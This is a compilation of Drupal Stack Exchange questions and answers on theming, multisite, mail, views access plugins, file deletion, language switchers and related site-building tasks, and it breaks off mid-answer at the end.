Tags: 7, media, files, javascript
---


# Question
Title: How to add image to only front page of Drupal 7?
How to add image to only front page of Drupal 7 website ?

So for now I have this code:

```
<div id="content-wrapper">
    <img src="/sites/default/files/Front_Page_Pic.png" width="100%"/>
    <?php
    if (!drupal_is_front_page()) {
        echo render($page['content']);
    } else {
        echo render($page['reference']);
    }
    ?>
</div>

```

But this means that on everypage it will show my image.

Any idea how can i fix it ?

# Answer
> 2 votes
Here is another approach:

* create "a" node (pick whatever content type you want), say it's node id is `123` (generated automatically by Drupal when you save it). Or add a "path" to it like `my_page_with_image`.
* include that image in that node and make sure your ***input filter*** that you use (i.e if you use "filtered HTML", which is what I'd recommend) accepts "images".
* set `node/123` as your frontpage (or `my_page_with_image` instead, if you added a path for it).

Next question? Maybe "***How do I set that page as my frontpage***"? ... Ask (via a new question, only 1 question per 'question' here ...) and pretty sure you'll get the answer to that question to ...

PS: What is so special about all your pages where you are considering using PHP for it's actual content? You are aware that using PHP for those things is in general NOT recommended, right? And that you have to be very carefull in which user "roles" will be allowed to create such pages ...

# Answer
> 1 votes
Drupal has its own way to theming and displaying content , and its not easy so i suggest you to use modules in this case , so first of all install Image Block module , you can now easily create a block containing a photo. in the next step go to block configuration and set the block to be displayed only in front page , token may help you ;)

# Answer
> 1 votes
**Another way**

1.Create a block add image and display on front page.

2.You can also create separate tpl file for front page.

# Answer
> 0 votes
Add the page--front.tpl.php into your theme folder. Print the image in this Tpl.

For further info on front page template files refer - Customize the front page template

---
Tags: 7, theming, media
---


# Question
Title: How to use PHP Mail function or sendmail to send and/or receive emails from my live site
I am hosting my site on OVH and they have told me that sending emails using external SMTP servers is not allowed. I need to use the PHP Mail function or sendmail. I have a Drupal 7 installation and I am completely lost.

* Which of these is the best option?
* What steps do I need to follow in order to use one of these options?

My site is currently live and I am not able to receive emails through my contact form.

Thanks in advance.

# Answer
Based on the comments above:

Since your server does not permit direct SMTP communication, and since SMTP Authentication Support specifically overrides the default behaviour "This module allows Drupal to bypass the PHP mail() function and send email directly to an SMTP server."

I would suggest disabling the two modules, SMTP Authentication support and PHPMailer, and use the default drupal mailer which by default uses php mail() as permitted by the server.
> 0 votes

# Answer
If you use Drupal PHPmailer it would work like a charm, just set your gmail account info. and It would work.
> 0 votes

---
Tags: 7, emails
---


# Question
Title: Drupal multi-site subdomain and subpath going to same site
Is it possible for Drupal to handle both subdomain and subpath for a single site in a Drupal multi-site environment?

For example:

```
foo.example.com ---> 'foo'

example.com/foo ---> 'foo'

```

Is this possible? Would I run into any issues?

# Answer
You can configure your desired structure/aliasing by creating the sites.php file in the `sites` directory. See the example.sites.php file in the same directory for extensive documentation on this topic.

So, for your use case:

```
$sites['foo.example.com'] = 'foo';
$sites['example.com.foo'] = 'foo';

```

When visiting foo.example.com or example.com/foo, Drupal will return the "website" located at `sites/foo`. (However, instead of foo usually the name of the (sub)direcotry is one of these aliases).

About running into any issues, the one thing that comes into my mind is that search engines seem to appreciate unique content. It is considered bad practice if your (public) content can be accessed by multiple web addresses (therefore generally it is recommended to set up 301 redirects, however, not sure if this is the right place to discuss this topic since it is not specific to Drupal).
> 1 votes

---
Tags: multi-sites, subsites
---


# Question
Title: Is there any SIMPLE way to hide errors ONLY for anonymous users?
In almost all the times I searched for literature about disabling system errors\bad-notifications **ONLY** for anonymous/non-admin users, the result was large-scale discussions with seemingly pretty different answers involving honorable code changes. But me, I have yet to acquire serious knowledge in PHP... Is there really no **SIMPLE** solution out there for someone like me? One that will include an *external module* or *pasting a simple code snippet* in one of the TPL files?

I do not want to go to \`admin/config/development/logging' and then click "none", because this option there cancels errors FOR ALL users, and not just for anonymous\non-admin ones.

Do you have such a simple, detailed explanation of how to do it?

This is a typical error message I would like to hide:

And here are some more details about it:

# Answer
Accidently, there is a great answer in the question to How can I hide a specific error in Drupal for everybody? (not from me though) ... It starts with something like "Just open `template.php` and paste this cool snippet;"

I trust you know how to tweak it to make it fit for your case ... Especially this parts:

* change `phptemplate_` in the function name with your theme name.
* replace the test for `is_admin` to an equivalent test for "is user logged in" (aka is it NOT anonymous). Something like so:

if(user\_is\_logged\_in()){ print "Logged In"; }

The slightly adapted code to hide errors for anonymous users looks like so:

```
function phptemplate_status_messages($display = NULL) {
    $output = '';
    global $user;
    foreach (drupal_get_messages($display) as $type => $messages) {
      if (($type == 'error' && user_is_logged_in()) || $type != 'error') {
        $output .= "<div class="messages $type">\n";
        if (count($messages) > 1) {
          $output .= " <ul>\n";
          foreach ($messages as $message) {
            $output .= '  <li>'. $message ."</li>\n";
          }
          $output .= " </ul>\n";
        }
        else {
          $output .= $messages[0];
        }
        $output .= "</div>\n";
      }
    }
    return $output;
  }

```

So open `template.php` and paste the above code in it. Remember to change `phptemplate_` (in the function name in the above code) with your theme name (machine name).
> 1 votes

# Answer
I think the Disable Messages module is what you need.

Gives a site owner options to disable specific messages shown to end users. The core drupal message system as offered by drupal\_set\_message is an excellent way for modules to send out messages to the end users. However not all drupal site owners are keen to show all the messages sent out by drupal core and all modules to their users. This module gives site administrators a reasonably powerful way to filter out messages shown to the end users.

**Features**

* Filter out messages that match a full text string exactly.
* Filter out messages that match a regular expression.
* Permissions to specifically hide all messages of a given type from any role.
* Disable all filtering for specific users.
* Disable all filtering for specific paths.
* Apply filtering only for specific paths.
* Debug system to get messages in the HTML without showing it to the end users.

**-- HOW DOES IT WORKS? --**
1. install and enable the **Disable Messages** module
2. Go to "/admin/config/development/disable-messages", and check the "Enable filtering"
3. Go to "/admin/people/permissions", and give the permission who should "View status messages", "View warning messages", View error messages", and "Exclude from message filtering" if desired.

**-- Updated July 31st 2015, 2:23pm --**
**CSS trick**
to not display for anonymous user(not login)

```
body.not-logged-in div.messages.error { display: none; }

```

to not display for logged in user(***you should not do this for admin user, but here is the trick***)

```
body.logged-in div.messages.error { display: none; }

```
> 2 votes

---
Tags: debugging, users
---


title: Creating a custom views access plugin

text:
# Question
Title: Creating a custom views access plugin
I'm trying to create a custom views access plugin, so I can perform my conditions for accessing a view.

I read several tutorials and checked the source of existing modules, but I must be coding/doing something wrong because this never works properly.

Here's the code:

File: `sample.module`:

```
function sample_views_api() {
  return array(
    'api' => 3,
  );
}

```

File: `sample.views.inc`:

```
function sample_views_plugins() {
  $plugins = array(
    'access' => array(
      'test' => array(
        'title' => t('Custom access check'),
        'help' => t('This is a custom access plugin.'),
        'handler' => 'sample_access_plugin',
      ),
    ),
  );
  return $plugins;
}

class sample_access_plugin extends views_plugin_access {
  function summary_title() {
    return t('Custom acces plugin');
  }
  function access($account) {
    return sample_access($account);
  }
  function get_access_callback() {
    return array('sample_access', array());
  }
}

function sample_access($account = NULL) {
  return TRUE;
}

```

I can see the access plugin in views, and I can select it. However, no matter what I do, the access to the view will always be forbidden (access denied). There are no messages in the error log.

Any ideas what's wrong here?

Thanks!

# Answer
> 2 votes
It seems like the sample.views.inc file does not get loaded during the access-check (as the registry already cached the information which callback it needs to execute).

So you can just move sample\_access() to the file sample.module and the callback works.

# Answer
> 2 votes
As noted on the documentation for hook\_views\_plugins():

> **handler (required)**: The name of the file containing the class describing the handler, which must also be the name of the handler's class.

So you should put `sample_access_plugin` class in a file called `sample_access_plugin.inc`, and note also:

> **path**: Path to the handler. Only required if the handler is not placed in the same folder as the .module file or in the subfolder 'views'.

I believe that `sample_access_plugin.inc` also needs to be listed in the `files[]` section of your module's info file in order for the class to be autoloaded.

---
Tags: 7, views
---


# Question
Title: How to use field_attach_update for users
I have read this post fast saving single field value about how to use field\_attach\_update to save nodes without the overhead of node\_save().

I would like to use this for users (which it should work for, as per https://api.drupal.org/api/drupal/modules%21field%21field.attach.inc/function/field\_attach\_update/7) . However, I'm not sure how to apply the examples to users.

Currently, this is my code:

```
if (isset($uid)) {
    $user = user_load($uid);
    $user_og_groups = $user->og_user_node[LANGUAGE_NONE];
    $user_committee_positions = $user->field_committee_position_serno[LANGUAGE_NONE];
    $user_data = my_module_import_user($cust_info, $cust_attributes, $drupal_countries, $employers);
    $user = user_save($user, $user_data);
  }

```

The $user\_data variable is an array of data, which is what user\_save expects (https://api.drupal.org/api/drupal/modules%21user%21user.module/function/user\_save/7). `user_save()` doesn't work exactly the same as `node_save()` and doesn't accept a user object.

How then can I use field\_attach\_update to programmatically update users?

# Answer
> 2 votes
I don't know your function my\_module\_import\_user return right data? I think user\_save() work fine. You can try

```
if (isset($uid)) {
  $account = user_load($uid);
  $edit = array();
  $edit['field_FIELD_NAME'][LANGUAGE_NONE][0]['value'] = 'Field Value';
  // add more data
  user_save($account, $edit);
}

```

if you want use **field\_attach\_update**

```
if (isset($uid)) {
  $account = user_load($uid);
  $account->field_FIELD_NAME[LANGUAGE_NONE][0]['value'] = 'Field Value';
  // add more data
  field_attach_update('user', $account);
}

```

And my way, i often use Entity metadata wrappers

```
if (isset($uid)) {
  $account = user_load($uid);
  $wrapper = entity_metadata_wrapper('user', $account);
  //Set data of field
  $wrapper->field_FIELD_NAME->set('Field Value');
  // set more data here
  $wrapper->save();
}

```

---
Tags: users
---


title: What is a "Variant" in Drupal?

text:
# Question
Title: What is a "Variant" in Drupal?
I tried to read a bit about what is actually a **Variant** in Drupal (and especially in Ctools).

But the 2-3 explanations I read were not clear enough for me. It was a wired experience for me since I've already learnt some "similar" Drupal unique terms such as *Drupal argument*, *Contexual filter*, *Page* (Drupal), *Entity*, *Node*, etc.

So what is a **Variant** and why do we need them? Please use the simplest explanation you can.

# Answer
"***Variants***" are typically used / related to "Page Manager", which is part of the CTools module. The "simplest explanation\***" is ... not "simple" to provide. However there is an interesting (amazing?) video intro about it: refer to Learn Page manager! Part 3: Variants and selection rules.

While you're at it, you may want to look at the entire (impressive) video series around there, i.e. Learn Page manager!. Here is a summary of the entire set of videos about this topic:

> * Page manager allows you to collect and manage contextual information in a flexible and consistent way. It is an important part of building infrastructure on Drupal websites, and you should know how to use this module.
> * The screencast series is targeted at experienced Drupal developers.
> * Episodes 1, 2 and 3 introduces the most basic concepts, such as custom pages, variants, selection rules and (to some extent) contextual objects.
> * Episodes 4, 5, 6 and 7 talk about Panels, with emphasis on Views integration but also some words on efficient caching.
> * Episodes 8 and 9 about access control, menu items, and not least the little-known but very useful Contextual Administration module.
> * Episodes 10 and 11 talks more about using contextual objects in Page manager, including using Views as context. This is, imho, where the real power in Page manager is.
> * Episodes 12 and 13 collects various bits and pieces, such as how to use Panels to easily rearrange the node edit form, import/export settings, and some extra modules that can be used with Page manager.

Some more recommended (free) tutorials that you may want to consider, and which will help a lot to understand the typical Drupal terminology in your question:

In Drupal 8, Page Manager has become a separated module, while formerly (up to Drupal 7), it was part of the CTools module. Here are some more quotes from the (D8 related) project page:

> It supports the creation of new pages, and allows placing blocks within that page.
>
> Like Drupal 7's Page Manager, it provides a concept of "page variants", each with their own selection conditions.
>
> Additionally, it can be used to take over an existing page, like overriding /node/% to change what is displayed when viewing a node.
>
> It utilizes the core `Conditions`, `Context`, and `Blocks` APIs to accomplish this.

So that's part of the changes coming up in the CTools module in D8.
> 2 votes

---
Tags: chaos-tool-suite
---


# Question
Title: Getting the field of a user based on uid or name
I'm trying to display some custom user fields of an author, of a content type's nodes. The only fields in $node that relate to the author seem to be `$node->name` and `$node->uid`. I tried this in node.tpl:

```
global $user;
print render($user->field_foo);

```

and it makes the field show up in Krumo, but it comes up as

> field\_foo (NULL)

When I get more specific, using what's available to me in the user page, `$field_foo['und'][0]` in this case, I'm given something similar:

> field\_foo (Array, 1 element)
>
> und (Array, 1 element)
>
> 0 (NULL)

I'm thinking I need to target the UID or name somehow, but I don't know how. What's described in the answer here sounds like what I want, but I'm not sure how to do what they're describing. It sounds like I should maybe be using a node\_submit function. Something like this maybe?

```
function MYMODULE_node_submit($node) {
  if (isset($node->name)) {
    if ($account = user_load_by_name($node->name)) {
      $node->uid = $account->uid;
    }
    else {
      $node->uid = 0;
    }
  }

  $node->uid->field_foo;

  return $node;
}

```

# Answer
I think if you need show more info of author of node, you can try this way.

**STEP 1**

in file template.php write hook\_preprocess\_node

```
function YOURTHEME_preprocess_node(&$vars) {
  $node = $vars['node'];
  $user = user_load($node->uid);

  // if you want render field user
  $phone_render = field_view_field('user', $user, 'field_phone')
  $phone_html = drupal_render($phone_render);

  // if you want get value of filed
  $phone = field_get_items('user', $user, 'field_phone');
  $phone_value = $phone[0]['value'];

  $vars['phone_value'] = $phone_value;
  $vars['phone_html'] = $phone_html;
}

```

use need change **field\_phone** with your machine name of your field user.

**STEP 2** In file node.tpl.php. You can use

```
<?php
  print $phone_value;
  print $phone_html;
?>

```

print where you need.
> 1 votes

---
Tags: nodes, hooks, users, entities
---


# Question
Title: Files attached to nodes are never deleted from server even after they're removed from the node (and that edit is saved), Drupal 7
I've noticed something strange on my site: after attaching a file to a node (via the regular file field), that **file never gets deleted from the server**. I remove it from the node, save that change, but I can see the file is still on the server.

This makes replacing files very difficult, because when a user tries to attach a replacement, the file name has the "\_0" or "\_1" suffixed to it (since the original file is still on the server and that makes the name a duplicate). That means that we would need to find all links to the file and edit each one to match the new file name/url. It's a total mess.

I'm looking online and nobody seems to have this issue -- the files ought to be deleted from the server once they're removed from the node.

Any ideas why this may be happening in my case? I'm not sure where to start looking. Certainly the 'File system' configuration page has nothing of that nature as an option that may have been checked. And the field options themselves seem to not have anything of that nature I may have inadvertently set. Any other ideas?

# Answer
> 18 votes
I got it! It's a revisions thing. I guess it makes sense. If you have **revisions enabled** for that content type, it keeps *all* your old files on the server (associated with old revisions), so replacing a file definitely is harder. If you try to remove it and add it again to the node, the name/link is updated, as I mentioned in my question. Since a file with that name is kept on the server and there is a name duplication, it adds those "\_0", "\_1" etc suffixes to future uploaded versions of that file's name.

I understand why this is happening though, since the whole point of revisioning is being able to revert to any past version of the page.

The work-around is that you can actually delete the old revision from the 'Revision' or 'Moderate' tab (if using Workbench Moderation) that contained the file you're trying to replace. Then upload it again, and the name should then match without you having to go back and edit any links pointing to that file.

Hope that makes sense and that it helps somebody else too!

# Answer
> 4 votes
I had the same use case (wanting to replace files while maintaining the filename), and the following code in a custom module met this goal. This code relies on the Entity API module so it should be added as a dependency in your module .info file. Feedback welcome.

This allows for immediately deleting files after clicking 'Remove' then saving the node. Warning: this also means that when you Remove a file and save the node, you can't get that file back by rolling back to an earlier revision.

```
/**
 * Implements hook_node_update().
 *
 * Delete files from old node revisions.
 */
function MYMODULE_node_update($node) {
  // Array of content types to act on.
  if (in_array($node->type, array('page', 'article'))) {
    $wrapper = entity_metadata_wrapper('node', $node);
    $original_wrapper = entity_metadata_wrapper('node', $node->original);

    // Array of file fields to act on.
    foreach (array('field_public_files', 'field_private_files') as $field) {
      if (!isset($original_wrapper->{$field})) {
        continue;
      }
      $current_files = array();
      $original_files = array();
      // Get files that were attached to the original node (before update).
      foreach ($original_wrapper->{$field}->value() as $file) {
        $original_files[] = $file['fid'];
      }
      // Stop if there were no files previously attached.
      if (empty($original_files)) {
        continue;
      }
      // Get files currently attached to the node (after update).
      foreach ($wrapper->{$field}->value() as $file) {
        $current_files[] = $file['fid'];
      }
      // Delete files that were in the original node but were removed during
      // this update.
      $deleted_files = array_diff($original_files, $current_files);
      foreach ($deleted_files as $fid) {
        if ($file = file_load($fid)) {
          // Delete all usages of the file. Each node revision adds to the usage
          // count.
          file_usage_delete($file, 'file', 'node', $node->nid, 0);
          file_delete($file);
        }
      }
    }
  }
}

```

# Answer
> 2 votes
I made a module that deletes orphaned files as mentioned in this thread:

https://www.drupal.org/project/fancy\_file\_delete

It can also force delete files manually and un-managed files as well.

# Answer
> 0 votes
This might be a permissions problem on the server. Try the same on a clean install - if you are experiencing the same problem, then it's up to the server and not Drupal.

Is there anything in the logs?

# Answer
> 0 votes
I did not have luck with deleting old revisions or saving nodes without their attached files and coming back. These are the only things that always work:

1. Deleting the node
2. Removing the file through editing the node and manually deleting the file from the server.

I absolutely hate the second option which is why I'm here looking for another solution.

(I could be stepping out of bounds, too since I have a bunch of clients running D6.)

# Answer
> 0 votes
I ran into this problem as well with workbench moderation, and file field insert actually showing the old versions of uploaded files when files with the same name are re-uploaded in different revisions of a document.

To makes things run smoothly add the node's vid as a folder to to the file upload path. Normally I'm doing something like.

Folder path = assets/\[node:nid\]-\[node:title\]/\[node:vid\]

Yes they are ugly long folders with sub folder madness, but you can find files really easily via node ID or title, and then the sub-folder prevents name collisions so you can keep many versions of the same file with the same name. Then later you can delete the old revisions if you want to clean up space.

---
Tags: 7, files
---


# Question
Title: How to create a custom field that gets URL counts from LinkedIn on external articles?
My site has a content type named News, which receives news from external RSS feed. Therefore, content type News has the following fields:

I would like to create 3 fields in the content type that shows count of article has been shared on LinkedIn in using the following function:

```
http://www.linkedin.com/countserv/count/share?url=http://www.reuters.com/article/2015/04/20/hapaglloyd-ships-idUSL5N0XH3XQ20150420&format=json

```

Return

```
{"count":28,"fCnt":"28","fCntPlusOne":"29","url":"http:\/\/www.reuters.com\/article\/2015\/04\/20\/hapaglloyd-ships-idUSL5N0XH3XQ20150420"}

```

Fields to be displayed:

* count (i.e. 28)
* fCnt (i.e. 28)
* fCntPlusOne (i.e 29)

# Answer
I managed to create a custom module for this with specific fields for twitter an linkedin. The module will call the JSON function every time the node is saved.

Additionally, a cron has been set up to be run every 5 minutes and re-save the nodes which make the node to be updated with the right count.
> 0 votes

---
Tags: entities, social-network
---


# Question
Title: Creating an exposed filter on a view as a list with taxonomy terms
I have categories of photographs and each photograph is categorised. So to expose the filter to the anonymous user they can click on a category and it shows that categories images.

How would I replace the select list or auto complete exposed filter with this so I can then style the list as a horizontal small menu above the view?

# Answer
> 0 votes
Better Exposed Filters would be helpful for that. It allows you to replace the select/autocomplete with normal anchors that can be styled however you prefer.

After installing and enabling BEF, add your exposed filter and save it (you only have the standard options at this point). Then, go to the views advanced settings and change "Exposed form style" to Better Exposed Filters. Then you will have a BEF Settings option, this is where you will see the options below.

**Advanced settings:**

**This is the setting you're looking for:**

---
Tags: taxonomy-terms, views
---


# Question
Title: Looking for the right modules for user group management
I am creating a site that works similarly to Groupon with D7, and I am having trouble finding the right modules to deliver the functionality.

I need to create different user groups: buyer and seller.

For the buyers I need to store their name, geo-location, and email address.

For sellers I need to store the name of their business, email, geo-location, and I want the sellers to be able to create a list of offers(nodes) linked to their business.

My initial thought is to find a module that enables custom field for user profile. I also need a separate registration & login page for each group, and assign new sign-ups to the appropriate group ( buyer vs seller) based on which page they use to register. What modules would you recommend in order to fulfill these requirements?

# Answer
> 1 votes
You will need the Profile2 module. You can create a buyer and seller profile for each of your buyer and seller roles with different fields.

http://drupal.org/project/profile2

You might also find that the registration path module for Profile2 is helpful.

https://www.drupal.org/project/profile2\_regpath

# Answer
> 1 votes
I would suggest to manage this by using roles. Create two different roles: Buyer and Seller As both roles have the same mandatory fields, it wont be an issue for you. Additionally, you can customise additional fields and rights for sellers.

---
Tags: 7, users
---


# Question
Title: How to customize a field price in Drupal Commerce?
I have a field price in my grid and want to customize it.

Below are 2 pictures that will explain the situation:

**My question**: How can I customize that field to looks like this:

Any suggestions?

# Answer
> 0 votes
You might want to try to customize the price via either of these contributed modules that can be used in combination with Drupal Commerce (quotes are from their project pages):

> This is an add-on module for Drupal Commerce that provides additional options when displaying the formatted price in your store.

> ... adds more options to format your products price.

Another option is to try what is described in the (accepted) answer to the question about "Additional classes for price based on price components", which includes a `template.php` tweak and states:

> ... you could theme the price components to add your own classes via a theme override.

---
Tags: commerce
---


# Question
Title: Drush Remote Alias Fails with No Drupal Site Found
This is incredibly frustrating. Here's the deal. I have a drush alias defined for a server I'm working with. No matter what command it is, if it needs to bootstrap Drupal it fails with `no drupal site found` or some variant. Running `drush` with `--debug` gives me less than useful information although if you'd like to see it I'm happy to provide it.

I **can** run `drush @alias sqlc` and get the mysql command line on the remote server. I just cannot run things like `drush @alias st` or `drush @alias cc all` for example.

If I SSH to the server, change into the directory (i.e. `/sites/default`) and run the same commands they work fine. So this is only when going over a remote alias.

Here's the alias definition:

```
$aliases['alias'] = array(
     'uri' => 'site.com',
     'root' => '/usr/share/nginx/html/drupal/docroot',
     'remote-host' => 'us-west-2.compute.amazonaws.com',
     'remote-user' => 'ubuntu',
     'ssh-options' => '-i /Users/name/.ssh/id_rsa -q',
     'db-url' => 'mysql://dbuser:dbpassword@localhost/www',
     'path-aliases' => array(
       '%files' => 'sites/default/files',
       '%dump-dir' => '/tmp'
      ),
      'command-specific' => array (
        'sql-sync' => array (
          'no-cache' => TRUE,
        ),
     ),
);

```

Am I missing something here? I've done this a thousand times and for whatever reason this time it refuses to work.

Note: I have downgraded to Drush 6.x just in case it was a 7.x problem. Same result.

# Answer
Well this is embarrassing.... The problem was my `%root` directive. I had an additional directory tacked on. It was `usr/share/nginx/drupal/docroot`. Not no html in the path.

Upvotes for @Queenvictoria though for commenting and getting me to realize my error by poking back in the alias file. Thanks!
> 0 votes

---
Tags: drush
---


# Question
Title: Can't track why Boost-Crawler doesn't work
I use Drupal 7.38 and Boost x - 1.0.7, and I Can't get the Boost Crawler to work... Boost itself is working fine (verified formation of cached webpage files at root/cache/...).

Seemingly, I did all I need to active the crawler submodule:

1. I enabled the module.
2. I went to Admin \> Configure \> System \> Boost \> Crawler, and ticked the checkbox to enable the crawler to run on cron.

After I did these stages, I ran Cron and went to `root/cache/...` and found only 3-4 cached files that where created by anonyous surfing either way... If the crawler module was working I guess I should have seen at least 60 cached-webpages there.

Since I'm not yet a programmer I have no idea how to even start dealing with this problem. The least I can do is to put here a print screen of my Recent log messages... I could paste everything seem relevant to you from there...

I very much need this submodule to work, please help!,

# Answer
> 1 votes
What you're seeing may be correct behavior. **Boost Crawl** (a submodule but without its own drupal.org page) is careful to warn that; *"Minimal crawler - expires and regenerates pages **only when content is edited and on next cron run**"* \[Emphasis added.\] SO, it will track content that you have edited, not crawl the site and thereby refreshing the page cache.

Enabling Boost and boost crawl on my site, and then running cron (using `drush -v cron` to spy cron output) I essentially saw what you saw, in my case just my home page. Running Xenu (explained below) triggered a populating of the boost cache for my entire site. Maybe this is what you were expecting?

If you want to refresh your site's boost cache index, check out either

You didn't ask, but each of these are invaluable web site QA tools as well.

---
Tags: cron, caching, performance
---


# Question
Title: Webform Submission & Commerce Order Database Relations
Where is the relation between **Webform Submission ID** & **Commerce Order ID** in the drupal database?

The problem is one of my orders crashes after editing the webform so I guess that the relation between the order and the webform crashes in the database.

I've seen **commerce\_** and **webform\_** tables but I didn't find anything.

# Answer
> 0 votes
Check out table: field\_data\_commerce\_webform\_sid it contains webform submission ID and entity\_id (for commerce\_line\_item)

Then use table: field\_data\_commerce\_line\_items to find the commerce\_order id for a specific commerce\_line\_item ID.

---
Tags: 7, webforms, database, forms, commerce
---


# Question
Title: Let the user change language with a select
I need to let the user change language with a select. I need to do everything by hand because i'm putting that in a custom block. Do you have any idea on how I can accomplish that?

# Answer
This is what i did in the end:

php

```
$path = drupal_is_front_page() ? '<front>' : $_GET['q'];
$type = 'language_url';
global $language ;
$lang_name = $language->language ;
$links = language_negotiation_get_switch_links($type, $path);
$languages =array();
$htmlSelect = "<select id='selezioneLingua'>";
foreach ($links->links as $id => $link) {
    $prefix = $link['language']->prefix;
    $selected = '';
    if ($lang_name == $prefix){
        fb('same');
        $selected = 'selected';
    }
    $htmlSelect .= "<option $selected value='$prefix'>$link[title]</option>";
    $href = ($link['href'] === '<front>') ? '' : '/'.$link['href'];
    $languages[$link['language']->prefix] = "?q=".$link['language']->prefix.$href;
}
$htmlSelect .= "</select>";
drupal_add_js(array ("languagepages" => $languages), 'setting')

```

javascript:

```
jQuery('#selezioneLingua').change(function(){
    var val = jQuery(this).val();
    var languages = Drupal.settings.languagepages;
    window.location.href = languages[val];
});

```
> 2 votes

# Answer
It looks like the language switcher simply has

```
?language=[2letter-language-code]

```

appended to the end of each page's URL.

for instance, switching to Portuguese language for node 4 is:

```
<a href="/node/4?language=pt" class="language-link">Portuguese, International</a>

```
> 1 votes

# Answer
There is also a module for this Language Switcher Dropdown. Here is a quote about it (from its project page):

> ... exposes a new block, similar to the default Language Switcher block provided by Locale module.
>
> The new block allows site visitors to switch languages using a drop-down select list instead of using hyperlinks.
>
> The module also integrates well with Language Icons module if installed.
> 1 votes

# Answer
Based on Nicola Peluchetti's answer, but slightly different:

```
global $language ;
$path       = drupal_is_front_page() ? '<front>' : $_GET['q'];
$currlang   = $language->language ;
$links  = language_negotiation_get_switch_links('language_url', $path);
$content    = "<select id='iaf-language-select'>";
foreach ($links->links as $id => $link) {
    $selected = ($currlang == $id)?'selected':'';
    $href = url($link['href'],array(
        'absolute'  => true,
        'language'  => $link['language']
    ));
    $content .= "<option $selected value='$href'>$link[title]</option>";
}
$content .= "</select>";

```

.. add a `onchange="document.location.href=this.options[this.selectedIndex.value)"` to your likings
> 0 votes

---
Tags: 7, i18n-l10n
---


# Question
Title: how to `absolute` position an image over another image?
I want to position an image over to appear over another image at a fix position, even if that other image changes its location due to resizing of the browser window. My URL: http://spabc.com/drupal/ and I want to have the orange arrow over the "Offers & Packages" tile on fix position, on the top left corner. How can I achieve this?

# Answer
Well, there's a couple of things going on, and I don't want to approach re-designing how you've implemented your DOM for this page. Looking at your HTML in question:

```
<a href="/drupal/content/offers-packages">
  <img alt="" src="/ckfinder/userfiles/images/special_arrow.png" style="height:80px; left:130px; position:absolute; top:10px; width:80px">
  <img alt="Offers & Packages" class="featuredimg" src="/ckfinder/userfiles/images/Offers%26Packages.png">
</a>

```

which renders this:

You've wrapped your two inline IMG elements within an inline A element. Inline elements are not meant to moved around in block-like fashion. One approach is to redefine your anchors here as blocks. We'll also need to define a height and width for the parent element, as the redefining of imgs to blocks, absolutely positioned, will remove the parent elments ability to calculate height and width. Position: absolute removes the object from the page's flow. (I presume height 200px and width of 220px is accurate, if not, correct to taste.)

Here's the key aspect: the parent DOM item must be "position: relative" which you must explicitly declare. THEN the child elements may be positioned absolutely, within where ever the parent element falls on the page. The parent div will move as it needs to on the page, moving the absolutely positioned child imgs within it. Otherwise, your css will traverse the DOM backwards to the first position:relative element. Not finding one, it uses the HTML element for positioning. The other thing to consider is that img is an inline element, not a block element. So you must redefine it as a block. Finally, notice the `z-index` forcing the graphic callout to overlay the featured graphic.

This refactored code shows what you're looking for:

```
<a style="display: block; position: relative; height: 200px; width: 200px;" href="/drupal/content/offers-packages">
  <img style="display: block; position: absolute; top: 0; left: 0; z-index: 1;" alt="" src="/ckfinder/userfiles/images/special_arrow.png" style="height:80px; left:130px; position:absolute; top:10px; width:80px">
  <img style="display: block; position: absolute; top: 0; left: 0;" alt="Offers & Packages" class="featuredimg" src="/ckfinder/userfiles/images/Offers%26Packages.png">
</a>

```

Which renders this:

Of course I *wouldn't* do this with in-line styles, I'm just being lazy to get my thoughts up quickly. Finally, I wouldn't use a table for that display element, I'd use an unordered list. But that's for a different discussion.
> 1 votes

---
Tags: theming
---


# Question
Title: Parent-child-grandchild relationship for content or comments
# Background

I am creating online courses, where groups of students work together giving answers to questions and commenting on each others answer.

I'm using Drupal 8, probably with Panels.

# Challenge

I will have a content type called “Question”, created by the course creator.

The page for each Question should have:

* the content of the Question, followed by
* a list of (some of) the “Answers” from other students, showing the students name, the text of their Answer, a count of how many comments from other students the answer got, and a "show comments" link that shows the comments and offers a form for a new comment
    + a “new Answer” form where students can post their own Answer to the Question

# Possible routes

I can see 2 ways to achieve this:

## A: Treat top-level comments as "Answers"

AFAIK comments can be threaded, so I could treat the top-level comments as "Answers" and lower-level comments as "Comments". I could use a custom view block to only show the top-level comments on the “Question” page.

In this case, *how would I enable the full text of the Answer and its child comments (the comments on the “Answer”) to show up (by AJAX or on a different page) when the reader clicked “show comments” on an answer?*

## B: Have “Answers” be a content type

The Answers content type would have an entity reference field “Question” that holds a reference to the parent Question.

This works well, but *how would I insert a “new Answer” form which automatically and invisibly prepopulated the "Question" entity reference field with the id of the current Question?*

Possible solutions seem to include

* using the module **formblock**, which has a D8 port
* porting the module **entityreference\_current** to D8.
* Creating a view that returns only the current Question id (by using Views contextual filters), having that view as the source for the entity reference field on an entityform, and finding some way to hide the field. This approach I found here: Reference to parent node on entity form type. *This looks good and simple - any drawbacks?*

*Am I understanding the options right? Is there a better/different way to achieve this? My impression is that Option B - a second content type - is more robust and flexible?*

# Answer
I would go with option B, as having answers as content types allows you to add other features like the Flag module for up-votes.
The automatic and invisible reference linking can be done with the Entityreference prepopulate module, once there is a Drupal 8 version. You could also port it yourself or make an equivalent custom module. The older Node Reference URL Widget module would even add a link to your Question node on the Create Answer page with the appropriate URL adjustment for the reference.
> 1 votes

---
Tags: panels, comments, 8, entities
---


title: Contact form module for different users

text:
# Question
Title: Contact form module for different users
I am looking for a contact form module for different users logged in to the website.

E.g.,

1) a website that has different authors

2) the user clicks on the author's page there is a contact form for that specific author on their page

Any suggestions?

# Answer
You should be able to use the *core contact form* for this.

Basic documentation about setting it up can be found in the user contributed documentation on Drupal.org.

The contact form let you have a site contact form (sent to the default user), and a contact form tied to each individual user. When you enable the latter option, a tab "Contact" will appear when someone visit's that user's page (provided they're permitted to see it).

Individual users may disable other's access to their contact form, but the administrator may override this.

The core contact form can be configured through options and permissions. It is very flexible, but it may take some tuning to get the exact behavior you want.
> 0 votes

# Answer
The Privatemsg and Message Private allow your site's visitors to send private messages to each other. Using these modules you can allow users to send private messages to the authors.

you can also use webform module.

> Webform is the module for making surveys in Drupal. After a submission, users may be sent an e-mail "receipt" as well as sending a notification to administrators. Results can be exported into Excel or other spreadsheet applications. Webform also provides some basic statistical review and has and extensive API for expanding its features.

In this module you can add an `author` field which lists all of the authors and on every author page, only displays its name. using `hook_form_alter` you can set the current author as the value of the `author` field.

As another solution, You can create a unique form for every author, in this way you can configure the form for every author (including unique email address).

It is easy to display different webforms in authors page. The following code loads and displays a webform with `client-block-852` id

```
<?php
